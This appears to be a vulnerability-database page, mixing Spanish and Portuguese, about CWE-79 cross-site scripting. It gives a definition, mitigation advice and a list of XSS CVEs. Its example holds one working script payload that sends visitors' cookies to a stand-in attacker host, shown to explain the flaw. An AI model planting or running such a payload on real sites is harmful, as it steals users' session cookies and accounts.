Fallos del tipo CWE-79

28.618 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-21396HIGHDynamics 365 Sales Spoofing VulnerabilityEPSS 1.2%CVE-2022-0429—WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2023-29201CRITICALorg.xwiki.commons:xwiki-commons-xml Cross-site Scripting vulnerabilityEPSS 1.2%CVE-2024-47605MEDIUMCross-site Scripting via insert media remote file oembed in silverstripe-asset-adminEPSS 1.1%CVE-2022-46870MEDIUMApache Zeppelin: Stored XSS in note permissionsEPSS 1.1%CVE-2021-24124—WP Shieldon 1.6.3 - Unauthenticated Cross-Site Scripting (XSS)EPSS 1.1%CVE-2020-11083LOWStored XSS in OctoberEPSS 1.1%CVE-2024-11388MEDIUMDino Game – Embed Google Chrome Dinosaur Game in WordPress <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 1.1%CVE-2022-43718MEDIUMApache Superset: Cross-Site Scripting vulnerability on upload formsEPSS 1.1%CVE-2020-25715—A flaw was found in pki-core 10.9.0. A specially crafted POST request can be used to reflect a DOM-based cross-site scripting (XSS) attack tEPSS 1.1%CVE-2024-7703MEDIUMARMember – Membership Plugin, Content Restriction, Member Levels, User Profile & User signup <= 4.0.37 - Authenticated (Subscriber+) Stored Cross-Site Scripting via SVG File UploadEPSS 1.1%CVE-2022-23520MEDIUMrails-html-sanitizer contains an incomplete fix for an XSS vulnerabilityEPSS 1.1%CVE-2022-1906—Copyright Proof <= 4.16 - Reflected Cross-Site-ScriptingEPSS 1.1%CVE-2024-21395HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.1%CVE-2021-39178HIGHXSS in Image Optimization API for Next.js versions between 10.0.0 and 11.1.0EPSS 1.1%CVE-2020-8155—An outdated 3rd party library in the Files PDF viewer for Nextcloud Server 18.0.2 caused a Cross-site scripting vulnerability when opening aEPSS 1.1%CVE-2021-39349MEDIUMAuthor Bio Box <= 3.3.1 Authenticated Stored Cross-Site ScriptingEPSS 1.1%CVE-2024-47875CRITICALDOMPurify nesting-based mXSSEPSS 1.1%CVE-2024-52951HIGHStored Cross-Site Scripting in the Access Request History in Omada Identity before version 15 update 1 allows an authenticated attacker to eEPSS 1.1%CVE-2024-11428MEDIUMLazy load videos and sticky control <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 1.1%